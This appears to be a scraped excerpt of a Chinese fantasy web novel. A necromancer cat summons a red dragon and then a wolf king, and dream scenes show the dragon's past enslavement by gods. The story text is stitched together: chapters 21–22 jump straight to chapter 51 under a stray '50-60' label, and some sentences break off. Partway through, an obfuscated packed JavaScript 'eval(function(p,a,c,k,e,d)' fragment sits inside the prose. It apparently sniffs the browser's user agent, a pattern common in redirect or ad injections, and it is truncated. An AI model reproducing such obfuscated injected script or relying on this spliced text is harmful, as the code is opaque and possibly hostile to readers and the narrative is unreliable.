就在这两只手即将碰撞的瞬间,在前太子信心十足,已经在考虑赢了后要说些什么时,迎面而来的手倏地变为狰狞而庞大的利齿。 咔嚓—— 巨大的龙嘴咬合,带来一阵清脆的骨骼碎裂声。 前太子脸上还带着朝受惊转向的怒火,而被他瞪视的亥伯龙却已经一口将他拦腰咬断,牙齿穿过血肉,鲜血如瀑,沿着下颚缓缓滴滴拉拉地落到下方的地上,在王座前绽开触目惊心的红。 王座之上,龙王豁然起身。 由于龙族强大的□□和生命力,即便被拦腰咬断,前太子一时半会也没有立即死去。 他大口喘息着,惊怒,痛苦又像是抓住了什么把柄地咬牙道:“御前决斗不可化作龙形……亥伯龙…你竟敢……!!!” “亥伯龙,快放开大殿下……”一旁一名与前太子一块惊怒出声的龙裔还没说完, “啊啊啊啊啊!”惨绝人寰的惨叫从红龙的嘴中传出,又戛然断裂。 鲜血自齿缝间涌出,伴随着令人头皮发麻,牙酸腿软的咀嚼碾骨之声,巨大的龙嘴动了几下,而后仰头,喉结滚动。 前太子在巨大的痛苦之中,被活生生吞了下去,死不瞑目。 在骤然的惊吓之中,第一时间是说不出话的,就如旁观了这一幕的所有龙族。 大殿上一片死寂。 唯有血滴落地的轻响,一下,又一下,敲打在凝冻的空气中。 半晌,那头刚刚嗜完血的红龙回首,咧开嘴,利齿上还沾着血: “还有谁,想成为龙王?” 众龙皆骇。 方才出声的龙更是嘴唇颤抖,面无血色。 虽然前太子挑战亥伯龙的威信确实是他不对,虽然亥伯龙此举干脆利落地证明了他的实力, 但亥伯龙竟在御前决斗中化龙,这么果断又残忍地将对手活吞,作风如此残暴酷烈,岂非 ——暴君?! 然而,此时无龙站出来指责亥伯龙。 亥伯龙睥睨着面前站着的龙族们,眼神愉悦到像是在打量一群小饼干。 忽地,站在高位的龙王挥袖而走,头也不回地离开了大殿,打破了大殿上僵硬的氛围。 良久,一名龙族终于站出,俯首低哑道:“遵循您的旨意,红龙王陛下。” 此刻,亥伯龙终于真正成为了龙王。 不是被龙神指定,不是被某者施舍王座,而是以最野蛮的方式,以血为冕,以惧为权,将王座烙下自己的名字。 莫特默看得两眼放光,心潮澎湃,身临其境地感受着亥伯龙登上权力巅峰的第一步,由衷地喊道:“帅啊!” 随即又遗憾地想,猫猫怎么就没有猫猫王国呢? 他也想神气地说出“还有谁,想成为猫猫王?” 想着,眼前又是画面一转。 龙神高踞神座,声音里压着雷霆般的不满,斥责亥伯龙杀了他的兄长,言语中用王位进行敲打,眼中微微带着冷意, 又在下一个画面切换后变脸,满脸喜意,注视亥伯龙的眼神全是满意。 “不愧是我看中的龙!照此之势,我很快就能赢得这场战争!”他朗声大笑,意气风发,“做得好,亥伯龙,说吧,你想要什么奖赏?妖精族的琉璃,南海的血珊瑚,对了,兽人族的公主怎么样?” 笑声未止,他又微微侧首,对亥伯龙淡淡道,“当然,龙族的牺牲我也看在眼里,只不过现在还不能停下,你明白的吧。” 亥伯龙静立于王座下,沉默如深渊。 随后,亥伯龙听到亲信告知他族内最近流传起他不敬神明,罔顾神明意愿擅自开战的流言。亥伯龙听罢,只哂笑一声,不作理会。 接着,是一场审判。 一场,来自诸神的审判。 在各种族要求处死亥伯龙未果后,诸神站了出来。 “亥伯龙,”神音响彻云霄, “你冷血弑亲,残暴酷烈,桀骜不驯,独断专行,屡次挑起战争致使生灵涂炭,现在命你立下灵魂契约,自此永世遵从龙神的管治,以此赎罪,你可认罪?” 天际骤然裂开无数金光,巨大的锁链破空而来,捆住处在众神视线中心的红龙。 庞大的巨龙仰首长啸,不甘地嘶吼挣扎,赤磷与金链摩擦迸溅出灼目的星火,可那粗壮的金色锁链牢牢地锁在他的脖子,翅膀根和利爪上,终究将他从空中狠狠拽落。 巨龙高高昂起的头颅被锁链拽着,强行按入尘土。 那在战场上无人能敌,不可一世,令千军溃逃,万敌胆寒的亥伯龙此刻尊严尽失,只能被迫趴伏在地上,匍匐着听着众神对他的评判。 站在众神之间的龙神看过来,居高临下又怜悯地说:“这是最好的结果,你明白的吧。” “什么最好的结果?!” “不过是你和其他神明联手合谋想让亥伯龙变成你的奴隶!” 一旁观看的莫特默终于忍不住了,气愤地大叫起来。 之前还是亥伯龙登基的爽文龙生,怎么一转眼就变成被背叛,被伤害,被阴谋算计,打落尘埃的龙生低谷了? “而且明明一开始就是神明挑起的战争,龙神靠亥伯龙占据优势后不想停下,现在反倒都变成是亥伯龙的错了?!” 莫特默浑身发颤,气得都要学会亥伯龙的魔法,从喉咙间喷出火来。 他从没见过亥伯龙如此狼狈的模样,在他面前,亥伯龙一直是强大的,张扬的,炽热的,甚至是温柔的,是让小猫感到安心的存在。 可梦中的画面,却是亥伯龙被迫承担污名,被无形的力量压制,不堪重负的身躯。 莫特默气不过地痛骂起那些虚伪的神明,特别是把亥伯龙当枪使,完了兔死狗烹,鸟尽弓藏,还要榨干最后一丝价值,想让亥伯龙之后永生永世给他当狗的龙神。 千万别让小猫在现实中看到对方,不然他上来就是一个钻心剜骨咒。莫特默在心中恨恨诅咒。 骂着骂着,莫特默一个激灵,竟硬生生把自己气醒了。 不要啊!他还没看到后续!!! 亥伯龙之后怎么了,不会真的被烙下那个灵魂契约了吧? 等等。 如同黑暗中骤然划亮的闪电,莫特默震撼地僵在原地,瞳孔微微收缩。 那个灵魂契约……是死灵魔法? 刹那间,一切仿佛都豁然开朗,莫特默心中渐渐明悟。 所以亥伯龙才会这么厌恶死灵法师。 所以,明明做的事完全相同,都是在保护照料他,亥伯龙对饲主的身份接受良好,却对死灵法师和亡灵奴仆的关系深恶痛绝,反应激烈。 因为那是刻入灵魂的屈辱记忆,是自由被彻底剥夺的惨痛过往。 可即便如此,面对当时被另一个死灵法师套上项圈的他,亥伯龙还是毫不犹豫地出手了。 梦中的场景又一次清晰地浮现,莫特默胸口闷闷的。 亥伯龙那么骄傲,那么讨厌被压制,被限制住自由…… 他,他也用死灵契约束缚住了亥伯龙。 但他那是没有办法!柔弱无助的小猫来到陌生的地方,难道不该赶紧找一个保镖吗?而且他从来没有真把亥伯龙当奴隶使唤! 一个细小又委屈的声音在心底辩解,可莫特默随即又萎靡地想: 但他现在也有了别的死灵,说不定…… 莫特默眼中迷茫的光逐渐变得忐忑又坚定。 说不定,他该放亥伯龙自由。 与此同时,亥伯龙从睡梦中缓缓睁眼,眉眼惺忪。 他金色的竖瞳中还残留着某种罕见的,松快的微光,嘴角无意识地勾起一抹浅淡的,真实的弧度,像是做了一个无忧无虑,足够令人放松的梦。 作者有话说: 亥伯龙之后当然不是就这么死了,咱们龙龙可是个龙傲天[墨镜] 只不过在被莫特默召唤后,逐渐成为忍龙……《 》 21.第 21 章 确认亥伯龙已彻底见不着影,莫特默猫尾巴一甩,马不停蹄地冲向自己的魔药工坊。 他疾驰到自己刚熬好的一大锅魔药前,没站稳就将头埋了进去,不顾魔药糟糕的口感,就是一个吨吨吨,喝了一个小猫肚圆。 事不宜迟! 亥伯龙虽被他想办法支走了,但他随时有都有可能会回来。 谁都不知道亥伯龙出门去买并找到他要的游戏机,会花几分钟还是几个小时。 他的动作要快,要在亥伯龙回来前完成召唤! 莫特默小嘴一抹,立马又赶往另一个空荡的房间。 他要在这个房间画下召唤阵,并召唤死灵。 被画下无数次的魔法纹路再次在他的爪下浮现,不过比起第一次来到异世界画下召唤阵时的紧迫与危机感,莫特默此时心中更多的是激动和期待。 多亏了异世界死灵法师的倾情贡献,与亥伯龙的武力支援,虽然他没有来得及拿走一些书籍之类的资料,但着实卷走了一大堆魔法材料, 以及对死灵法师最重要的 召唤媒介。 不愧是那名死灵法师口中隐含骄傲的魔法世家,从那些获得的媒介上,莫特默甚至能隐隐感知到其中有几个上面竟有着和亥伯龙差不多的强大气息。 而这也是莫特默下定决定要再次进行召唤的原因之一。 亥伯龙都已经这么强了,那他要是再来几个这样的死灵奴仆…… 称霸世界,成为异世界的小猫皇帝都岂不是指日可待? 越想莫特默越高兴,兴奋地差点高声喵出几句歌声。 称王之道,就在其中! 而他第一个要用哪个媒介,要召唤谁……莫特默也早就决定好了! 莫特默低头,将嘴中叼着的一个象牙色号角放在画好的召唤阵中心。 来吧,精灵王——! 莫特默心潮澎湃,心中有着八九成的把握。 没错,莫特默已经辨认出这个号角上的做工分明是属于精灵独有的一种工艺,再加上上面散发的强大气息。 莫特默有理由相信,这是和亥伯龙同一时代的精灵王曾持有过的号角。 而等他把精灵王召唤出来了,等亥伯龙回来见到这幕,看在召唤出来的是他的旧友的份上,想必也不会对他生气。 相反,他还得谢谢猫嘞! 莫特默静静地蹲坐了一会儿,还是实在忍耐不住波涛的心情,急急将爪子按在法阵上就要输送自己的魔力。 他清了清嗓子,一个变成词的音节刚溢出嘴角, “呼——” 忽然,细微的,翅膀震动空气的声音从窗外传来。 莫特默大惊失色地闭上嘴,扭头望向什么都看不到的窗外! 那是亥伯龙翅膀的声音? 亥伯龙怎么回来得这么快?! 他本来还想在召唤时用亥伯龙的存在和处在灵魂殿堂的精灵王进行谈判,让精灵王自愿被他召唤出来,这样也好提高召唤的成功率,并节省他的魔力。 但现在什么也来不及了。 亥伯龙已经赶回来了。 可开弓没有回头箭,召唤既然开始,就没有轻易结束的道理。 而且即便他强行停止召唤,亥伯龙难道看不到画在地上的召唤法阵吗? 现在留给莫特默的,只有一个选择: 他要赶在亥伯龙打断他的召唤前,立刻、马上、当机立断地将对面的死灵捞过来! 不管啦!!! 巨量的魔力被眼也不眨地投入法阵,法阵霎时被点亮,刺眼的光芒射出,淹没了法阵前小小的猫,照得莫特默几乎睁不开眼。 而另一头,亥伯龙面色冷峻地化为人形落地,大步朝莫特默的方向走来。 莫特默真以为他自己跟聪明? 亥伯龙心中冷笑连连。 他刚飞出去一段就发现不对劲了,用手机查询过O宝客服后,对方说游戏机根本不会只是因为沾了一点水就短路,彻底失灵。 游戏机出问题,分明就是莫特默搞的鬼。 再一想到莫特默早上那强烈希望他出去的要求,亥伯龙还有什么不明白的? 虽然不知道莫特默到底想做什么,但肯定不是什么好事。 想清楚这一切后,他立马调转方向,转头冲回驻地。 还没落地,隔着一段距离,他就感知到了莫特默的魔力剧烈波动。 这下还有什么好说的? 这么多魔力没有用在他身上,那会用在哪?! 亥伯龙眼神冷凝,径直冲向莫特默的所在地。 可他还是晚了一步。 冲天的魔力穿过混凝土,从废弃大楼的顶端直升上天空,破开天空的云层。 洁白的云层一圈圈扩开,像是变成了一只眼,注视着下方的一切。 普通人看不见,但隐藏在X市,有着魔力的魔法师们纷纷震撼的抬首。 “那是……什么?” “魔法?怎么可能……!” 而远在地球另一端的W国, 一名皮肤白皙,有着淡灰色头发,耳朵小而尖的人神色蓦地变得茫然。 他的发色明明像是迟暮的老年人,面庞却看上去只有二十多岁,年轻光滑,毫无皱褶, 而两边尖尖的,像是两个小三角形的耳朵上各挂着三个黑色的环状耳环,让他看起来更像是一时兴起染了一头时髦灰发的时尚叛逆年轻人了。 “你有没有感觉到什么?”他下意识问。 “啊?什么?”另一名头顶兽耳的人扭头回复,浑然不觉有什么异常。 灰发男人一张嘴,就想喷兽人不愧都是一群对魔法不敏感的种族,这都感觉不到。 他刚刚明明感知到了异常的魔法波动,那么熟悉又那么陌生,就像是,像是…… 灰发男人的眼神黯淡下来。 ……就像是魔力暴动的魔法生物幼崽般。 可现在,哪还有什么魔法生物幼崽? 灰发男人低低叹了一声。 兽人对魔法不敏感又有什么好说的呢?现在又不是他们和兽人针锋相对的旧时代了。 在魔法失落,空气中魔力稀薄得都几乎让人呼吸不过来的现在,他们这些旧时代遗落的长生种都是一根绳上的蚂蚱。 别说是他们梦魇,就连以前生育率居高不下的兽人也已经近百年,没有一个幼崽出生了。 如果能给他一个幼崽,不,即便不是他族内的……他,他们都会好好养育对方,要什么给什么,倾尽所有,让对方变成这世界上最幸福快乐的存在。 但终究……只是奢望。 灰发梦魇心中酸楚,强行打起精神:“不,没什么。” 只是他恍惚间的错觉罢,最近他忙于他们现在接手的这件事,也确实应该需要休息一下了。 不过以防那是人类又搞出的什么烂摊子,等此事了结,他最好还是去那股异样波动发生的地方看一眼。 灰发梦魇想着,调整好心情,转回他们之前的话题: “关于斯雷德家族的东西已经全部收拾好了?” 兽人应了一声,“关于他们私底下研究死灵魔法的证据已经全部找齐了。” “除了家主不知所踪外,其他人也全都收押了。” “根据统计,庄子里失去了大量财物和魔法材料,估计是那个家主卷着那些东西潜逃了吧。” “就是……”兽人耸了耸肩,“那些被抓住的人类法师都坚称是龙毁了他们的庄园,抢走了他们的东西,要魔法生物们对此给个说法。” “龙?”灰发梦魇想了想,奇怪地说,“我记得,那几个龙不都在睡着,没有醒来吗?” 兽人立即笑了,露出唇边的尖尖的犬齿,用一种分享笑话的口吻道:“就是说啊,不仅如此,人类竟还说是红龙袭击的他们。” 闻言,灰发梦魇也不禁笑起来。 红龙?谁不知道在在威名赫赫的赤鳞暴君亥伯龙之后,再没有一条出生的龙乃是红龙? 难道他们还要说是亥伯龙复活了过来,专门亲自来抢了他们的东西吗? 随后他若有所思:“这么说来,是幻术?” 不是龙,所有人却异口同声说看到了红龙。 他恍然:“难怪那些人类希望我来调查。” 梦魇是出来名的精通梦境与幻术的魔法种族。 人类让他来,一方面是为了试探他以及其他魔法生物们,另一方面也是在向他示好。 “人类也就只会耍这种小聪明了。” 灰发梦魇冷淡下眉眼。 “他们应该庆幸我在现场没有发现属于梦魇的魔法痕迹。” 如果他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被召唤的死灵站在那,肩宽腰窄,姿态挺拔如松,动作舒展有力,带着一种未经雕琢的优雅。 与此同时,亥伯龙一脚踹开门缝中透出刺眼光芒的大门。 白发男人神色散漫,脸带浅薄的笑意,张口道:“苍狼王,参上,你……” 话未说完,他看到莫特默的模样后视线突兀定住了,神色一下变得怔愣。 见到这似曾相识的一幕,莫特默挑起一边的眉毛: 怎么?又来一个小瞧他,不满他做主人的? 白发男人张了张嘴, 却出乎莫特默的预料,他浑身的气势以肉眼可见的软化,眼中深处的坚冰化成也圈圈涟漪,变成一种几乎称得上明亮的专注。 在下一瞬,一双柔软蓬松的白色狼耳毫无预兆地从他头顶冒出,轻轻抖了抖。 白发男人一改之前表面笑意实则冷漠的态度,眼中迸发出灼灼的光彩,朝莫特默展露出一个极具有感染力的灿烂笑容。 他不笑时显得清爽端正,眉宇间自带几分疏朗,却也萦绕着不易亲近的冷冽, 可旦一笑起来,眉眼便弯出柔和的弧度,那种若有似无的危险感全被扑面而来的阳光感涤荡一空,转而透出一种稚子般的纯然。 就连他洁白整齐的齿间无意间露出的尖尖犬牙,都在这笑容下显毫无攻击性,反倒有些可爱。 “契约成立!你就是召唤我的法师?” 他几步走来,一把抱起地上的莫特默,用下巴轻轻磨蹭莫特莫的脑门。 “好小!好可爱!!” 他期待道:“我叫阿利斯泰尔,你叫什么?!” 说完,他又举起莫特默,埋进在莫特默白色的肚皮中,深深吸了一大口。 “你原本是想召唤那个老古董?他没我能打,毛也没我蓬松,你赚大了,小猫!” “我还可以变成大狼哦,你想不想坐我身上试试?”他热情洋溢地推销自己。 “放下他。” 另一道低沉的声音,冷冷道。 一道身影,如同无声凝聚的阴影,已然笼罩在他们的身侧。 22.第 22 章 阿利斯泰尔应声回望,眼中略过明亮的惊讶。 “诶,亥伯龙,你也在这里啊。” 他扬起笑容,大咧咧地像是才发现亥伯龙在此般,笑容毫无阴霾地对亥伯龙打了声招呼,随即又开朗地感叹道: “不仅被超可爱的小猫召唤到了现世,还见到了故人。” “真棒!看来今天是我的幸运日!” “我说,放下他。”亥伯龙声音冰冷,眸色沉黯,冷至极点。 阿利斯泰尔眨眨眼,站在原地没有动。 “哐轰——!!!” 霎那间,猩红的鳞尾撕裂空气,疾扫而来——! 巨大的声响在这不大不小的房间内响起。 “哈哈哈,亥伯龙,你还是那么暴躁啊。” 阿利斯泰尔像只飞鸟般跃起,迅捷又自然地后仰,与迎面而来的沉重攻击擦脸而过。 几缕垂在脸庞的白色发丝随着他的动作轻轻扬起,带起他脸上的笑意。 阿利斯泰尔看起来丝毫没有危机感,好似亥伯龙不是在浑身杀意地攻击他,而是在友好地和他打招呼或玩闹。 龙尾重重砸在墙壁上,震得整个空间隐隐发颤。 一击不成,亥伯龙神色未变,攻击却愈发凌厉。 和他冷静表情截然相反的凶狠攻击接连不断地到来,每一下都毒辣地瞄准了阿利斯泰尔含笑的眼睛和脸庞。 阿利斯泰尔左躲右闪,身段灵活轻盈得像是在玩跳绳。 实在没办法,无处可避的时候,他才将莫特默夹在一边的臂弯下,用另一只手的小臂抵挡一下坚硬似铁,充满血腥气的龙尾,将其反振开。 龙尾和小臂碰撞间发出令人牙酸的撞击声,互相作用的力在室内搅起劲风,扑面而来压平了莫特默脑门上的绒毛。 但即便如此,阿利斯泰尔也还是没有放下莫特默。 “真热情,”阿利斯泰尔的蓝眸愈发璀璨,星星点点的兴奋自眼底浮现,语气交织着纯然的好奇和一丝苦恼, “我是不是也该也稍微回应一下才好呢?” 要素察觉——! 莫特默警觉地抬起头。 尽管像个公文包一样被夹在了腋下,但阿利斯泰尔的动作又稳又轻,莫特默并未感到丝毫不适,再加上对方之前那段颇有眼力见的夸赞。 伟大的亡灵法师莫特默决定宽宏大量地允许仆人这种夹带他的行为。 可阿利斯泰尔竟说要和亥伯龙交手? “别打啦,别打啦!”莫特默连忙喊道。 再打下去,他的房子还要不要了? 而且就算要打,也只许给我肉搏,不许用魔力! “诶!好啊。”阿利斯泰尔毫不犹豫地应声。 他旋身一转,正好与亥伯龙袭来的龙尾擦过,又将莫特默双手抱起,旁若无人地狠狠吸了一口猫。 “小猫,你怎么这么厉害?竟然能同时召唤出我和亥伯龙?” 他又对莫特默露出那种闪闪发光的璀璨笑容, “我是苍狼王哦,就是那个很酷很大也很厉害的狼王,你是我未来的子民吗?” “我不是兽人,也不是你的族人喵。” 莫特默一本正经地澄清说:“我是来自异世界的猫!” “天哪,”阿利斯泰尔无条件地全盘接受了莫特默的说法,一副惊讶到不知道说什么的惊喜语气,“竟然是异世界的小猫!” “你是死太久了,连脑子也一起丢了吗?”亥伯龙听不下去了。 这什么白.痴的对话? 阿利斯泰尔是不是接下来还要接一句“真棒!”? 而且,更让他难以忍受的是…… “我怎么不知道你会被一只普通的猫迷得神魂颠倒?” 亥伯龙朝阿利斯泰尔扯了扯嘴角,笑得毫不掩饰轻蔑与讥诮。 他不止笑容里带着刀锋般的轻视,眼神也锐利得能像是能刮伤人,语气更是不善。 好歹是一个兽人之王,竟一照面对莫特默表现得如此卑躬屈膝? 阿利斯泰尔却大大方方地承认:“对啊。” “你怎么知道我一眼就看中莫特默了?” 他说着,又忍不住拿脸颊蹭了蹭莫特默,背景开出了看不见的幸福小花花。 “你是我见过最可爱,最有魅力的小猫~”他坦荡又恳切地对莫特默低语。 “某些天生没毛,浑身光秃秃的龙当然欣赏不到你的魅力,但我可不一样。” 他目光细细描摹莫特默的每一处轮廓,声音渐渐轻下来,像是在喃喃自语:“看看你柔然的,黑白分明的毛,你毫无杂色的眼睛,还有你那匀称优美的体态……” 他轻轻笑起来,眼中满是一览无余的真诚与喜爱。 那目光如此炙热明亮,连配得感强如莫特默都要在这双眼眸中熏熏然了。 说完,阿利斯泰尔头也不回地对亥伯龙甩下一句 “没品。” “看来我和你之间,已经没有共同语言了,亥伯龙。”他严词又惋惜道。 亥伯龙脸上的笑容骤然消失不见,面色很快地阴沉下来。 他本来就和这白痴到治好了也流口水的狼没有什么共同语言! “放下他,你是聋了吗?” 他言语刻薄,并带着潜藏,不,是明目张胆的恶意说: “我才是那只猫的饲主。给我滚一边去。” 阿利斯泰尔这下终于转过身,一脸惊讶地望向亥伯龙,眼中满是愕然和随之而来的失落。 “怎么会……” 可还没等亥伯龙嘴角重新扬起, 阿利斯泰尔沉痛地说完“那没办法了”,还没失落两秒,神色又重新振作起来。 “既然如此,那我来当你的爱侣吧,小猫!!!”他爽朗道,声音轻快。 莫特默&亥伯龙:! 阿利斯泰尔说完这惊人之语后,还顺手帮莫特默整理了一下头上翘起的那撮毛,动作自然又体贴温柔。 莫特默不可思议地看着阿利斯泰尔。 他知道他是世界上最独特,最有魅力的猫。 但万万没想到,你竟然有眼光,并觊觎他美色到如此地步。 狼,猫对你刮目相看! 莫特默端正神色,庄严开口:“阿利斯,我允许你称呼我莫特默。” 亥伯龙脸上的表情则慢慢消失,变成一片空白。 “你脑子真坏了?” 他认真地问,语气中听不出情绪。 阿利斯泰尔立即反驳:“ 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亥伯龙瞬间满脸错愕,什……?! 阿利斯泰尔一秒相信了,恍然大悟道:“原来如此!!!” 他立即换上一种看情敌的眼神朝亥伯龙看过来,凝重又正色地道歉道:“是我误会你了,亥伯龙。” “没想到你明明是个龙,品味却这么好,不是绝色不要!”他由衷感叹。 也就是说…… 阿利斯泰尔脸上渐渐浮现出一种像是发现新大陆的震惊: “你愿意当饲养莫特默的主人,也是为了借此接近莫特默,近水楼台先得月,还趁机玩主仆play?!” 亥伯龙:…… 亥伯龙脸上的肌肉隐约颤抖着。 无可抑制的愤怒在他的血管里奔腾翻滚,积压已久的情绪如火山般爆发。 亥伯龙忍无可忍,也不打算再忍。 “可、笑……” 他的情绪如同一股无形的风暴,在室内肆意蔓延,压得人喘不过气来,每个字都像是远处雷鸣的前兆。 亥伯龙扯开嘴角,露出一丝近乎戾气的笑, “你要喜欢谁,爱上谁是你自己的事,脑子坏掉不要扯上我。” “而我,绝不可能像你一样,莫名其妙地对谁动心!” "尤其是……你。" 他目光转向莫特默,一字一句地道: “莫特默。” 他视线死死锁住莫特默,眼珠一动不动,目光阴沉得骇人: “你召唤他,是什么意思?” 莫特默浑身僵在原地,像是一只被老鹰锁定的兔子。 不好! 召唤虽然成功了,但他不仅没召唤出精灵王,还被亥伯龙对召唤现场撞了个正着! 这下要翻车了! 果然不出莫特默的预想, 亥伯龙不打算再和,无论是莫特默还是阿利斯泰尔继续纠缠,多费口舌下去。 “我,或是他。” 他抱起双臂,吐出的每一个字都像钉下的钉子。 “你选一个吧。” 50-60 第51章 “这就是神器?” 莫特默探出头, 试探地用爪子勾了勾地上的白色蜡烛。 蜡烛随着他的触碰微微晃动了一下,像根普通的蜡烛一样没有任何异样。 “好像也没什么特殊的地方嘛。”他失望地缩回脑袋。 他见使者用这个所谓的神器魔法阵不用画,媒介也不用放,魔力一点蜡烛燃起, 就能轻轻松松召唤出了一头幽灵龙(虽然是只有灵魂没有构建出肉.体的半成品), 还以为这是什么很厉害的东西呢。 “现在这么一看, 好像也就只是一个魔力结晶。” 阿利斯泰尔漫不经心地搭话:“这么说, 莫特默你根本用不上吧?” 莫特默都能凭借自己召唤,何必要使用这个不确定的魔法道具?而且召唤出来的死灵也根本比不上他们。 亥伯龙敏感地看过来, 视线沉甸甸地落在莫特默身上, 幽幽问:“你不会还想再召唤一个吧?” 莫特默悬在半空的爪子一顿, 若无其事地放回身前:“怎么会呢。” 他扭过头, 一本正经又义正词严道:“我只是对这个神器有点好奇,好奇!” 亥伯龙微微眯眼, 凝视莫特默, 他盯着面上镇定的莫特默好一会儿, 才不置可否地将视线重新放回面前的电视屏幕上。 屏幕上, 被操控的角色正小心翼翼地蹲下身, 躲在杂乱的箱子后潜行着穿过狭小的过道,而在不远处, 一个肢体纤长的怪物在步履缓慢地巡逻。 阿利斯泰尔谨慎地按着手柄, 操纵角色躲避着怪物的视线, 终于穿过过道,站起来到一扇门前, 他一把扭开门的把手。 一张丑陋的怪物脸出现! “呜啊!”阿利斯惊吓地一抖。 几秒简短的动画后,激烈的追逐战开始了。 一阵画面晃动,角色转身而逃, 慌乱地穿过走廊,身后是紧追不舍的怪物,此时他的面前出现了一个岔路口。 亥伯龙好心提示:“往右。” 好! 阿利斯泰尔毫不犹豫地操纵角色逃向左边。 角色顺利地穿过拐角,没有进入死胡同,身后的怪物随之越来越远。 亥伯龙:“啧。” 要是他,就算猎物选对了方向,也逃不过他的追杀。 他在心中挑剔地批判游戏中的那个怪物,浑然不觉把自己的角色如此自然地带入怪物有什么不对。 没错,此时的他们已经离开了会展中心,回到了X市属于他们的废弃工地里。 在解决完那个使者后,他们就麻溜地清除了痕迹,伪装成普通人类中的一员,拍拍屁股将剩下的烂摊子和所有失去战斗力的魔法师们全都丢给了回来的伊夫林,只偷偷摸走了使者怀中用于召唤的神器。 而cosplay大赛不出意料因为这个袭击,发出公告表示比赛暂时暂停,也不知何时会重启。 本来应该要持续5天左右的比赛,不到一天的时间他们就返航了,好在虽然没能参加上比赛,但他们这次出门倒也不算是无功而返。 首先是关于柯杰以及那些魔法师信仰的那名神的事。 经过塞拉菲涅的审问,他们成功在伊夫林回来前套出了一些情报。 自称最靠近神明,叫作使者的男人说是见过神,但实则根本从没有亲眼看过那个神明的真容,只在脑海中听过对方的声音,见过对方模糊的影像。 但据他所说,他在成为神明的信徒之前只是一个资质平庸的底层魔法师,但信仰了神后被赋予了远超常人的魔力,并受到神明指点,学会了高深的魔法,其中也包括死灵魔法。 有很多信徒都和他一样,借由信仰获得了魔力。他们这些年来一直在各地收集灵魂献给神明,献得越多,获得的魔力也就越多,但普通人类灵魂中蕴含的魔力还是太少了,所以他们才会把主意打到魔法生物的头上,也因此引起了魔法保护协会的注意。 斯雷德家主掌握着如何制作可以控制魔法生物的项圈的奥秘,没有对方,他们无法制作出奴隶项圈,所以在库存的项圈用完后,为了控制住新抓的魔法生物,他们才会急不可待地探寻到伊夫林的行程,并前来袭击,要对方交出斯雷德家主。 按道理来说,作为神明手下的头号信徒,他时常会聆听到来自神明的神谕,有时遇到无法抉择的事在心底祈祷,也会得到神明的回应,但这一次,无论他在心底如何呼唤,神明都没有回应,更何况出现。 说到这个,莫特默发誓,他真的只是下意识,就像看到桌沿边有东西就一巴掌拍下桌,看到里面有水的水杯就冲过去舔两口一样。 听到这话时,他就不假思索地嘲讽了一下使者和他口中的那个神明,可无论他再怎么说,使者再怎么无能狂怒,那个神明也没有出现,而再说下去,伊夫林就要回来了,他就只好悻悻地停下。 什么嘛……说什么神明,还不是个胆小鬼,他这儿不就只有一,二,三,四个曾经弑过神的死灵嘛。 而见周围人虎视眈眈又遗憾的表情,看来不是他一个这么想。 可惜,伊夫林回来得太快,不过几分钟,结界就出现了波动,他们也只好收手,打昏并清除了使者的记忆,像其他昏迷的人类一样在地上躺板板,事了拂衣去,深藏身与名。 除此之外,他们也顺道确认了菲瑞集团和魔法生物的关系,甚至亲眼见到了一名…两名魔法生物,还得知有一个魔法生物保护协会的组织存在。 只要等事情告一段落,等伊夫林闲下来,莫特默就可以偷偷找上门去给他们一个“开门送温暖”。 不过光看在他送了伊夫林这么一个大礼的份上,之后等他们找上门,想必伊夫林一定不介意给他们提供一点小小的帮助! 莫特默自信地想。 此时的他不知道,预想中正在忙于处理这件事的伊夫林,其实正在为另一件事焦头烂额。 一个身材高大壮硕的男人狠狠拍桌,蒲扇大的手掌拍下,发出剧烈的声响, “一派胡言——!” 他语言激动,义愤填膺,“我听得明明白白,那分明就是我族幼崽的声音!” 他身后几名有着龙瞳的龙裔纷纷点头,气势汹汹。 “快告诉我他在哪?” “我理解你们的激动,但,”伊夫林坐在办公桌后,面色也似有不虞,但还是有条不紊地说, “先不提你们听到的声音真假,在此次事件中出现的魔法生物也没有被确定,不一定就是你们听到的那……” “我不要听你说这些。”为首的龙裔打断,“你只要告诉我他在哪,之后的我自己会去确认。” 伊夫林蹙眉,耐着性子说:“现在可不是以前的时代,人类有了卫星,电磁波,可以记录的电子产品,你们不能随意地翅膀一张,就满世界乱飞。” “至少也要等你们听我这边的人讲解一下现在的世界,有了人类世界的身份,办理护照后,再离开这个国家。” 龙裔目露不满:“说这么多麻烦的事,你就是想拖住我们,独吞那个幼崽的消息,第一个找到他吧?!” “别以为我不知道,你早就对别人家的幼崽垂涎三尺!” 伊夫林忍不住露出狰狞的表情:“睡傻了听不懂话吗?!我有哪一句话不让你去找?!” “而且根据那个妖精所说,他是一只猫,猫——!怎么可能会是龙族幼崽?!!” “猫?”坐在另一张桌后的兽耳男人抬头,满脸惊喜,露出像是中了彩票般晕乎乎的笑,“你说幼崽,难道是有我族幼崽的消息?” “滚——!”伊夫林与为首的龙裔异口同声道,“有你什么事!” 兽耳男人顿时不乐意了,他站起来,“你自己说他是一只猫的,那不明显是我兽人族的吗?” “而且现在也就我兽人族还有可能有幼崽产生吧。”他越说越觉得有道理。 梦魇是对魔力高度敏感的种族,由于空气中魔力浓度的衰退,早就绝嗣几百年了,龙族更是孤寡,原本就难以生育,现在没了孵蛋的环境,原本生出来的龙蛋都变成死蛋,在确认最后仅剩的那枚蛋也变成死蛋后,甚至郁郁地全族陷入了沉睡。 也就对魔力需求不高的兽人族还能时不时获得一两个好消息。 “关于这件事我之前一直没插手,没想到伊夫林你还藏着这么个重要的消息没说,”兽耳男人冷笑,“我看龙裔们说得不假。” “你要不是想先一步去接触对方,为什么要瞒着这个消息?” 伊夫林气笑:“我的所作所为没有任何私心,在一件事情没有调查,没有定论前先不说不是很正常的吗?” “而且这件事情本来就和你们没有关系!” 这只是牵扯到人类魔法师和他,以及他名下的菲瑞集团,最多再牵加上妖精族的事,他为什么要专门说?! 龙裔&兽耳男人厉声:“怎么没有关系了!” 龙裔:“我分明就听到幼崽的呼唤了!” 兽耳男人:“在得知是猫的时候,你不应该第一时间通知我吗!” 龙裔和兽耳男人又扭头看向彼此, “胡言乱语,那分明是我族的幼崽!”X2 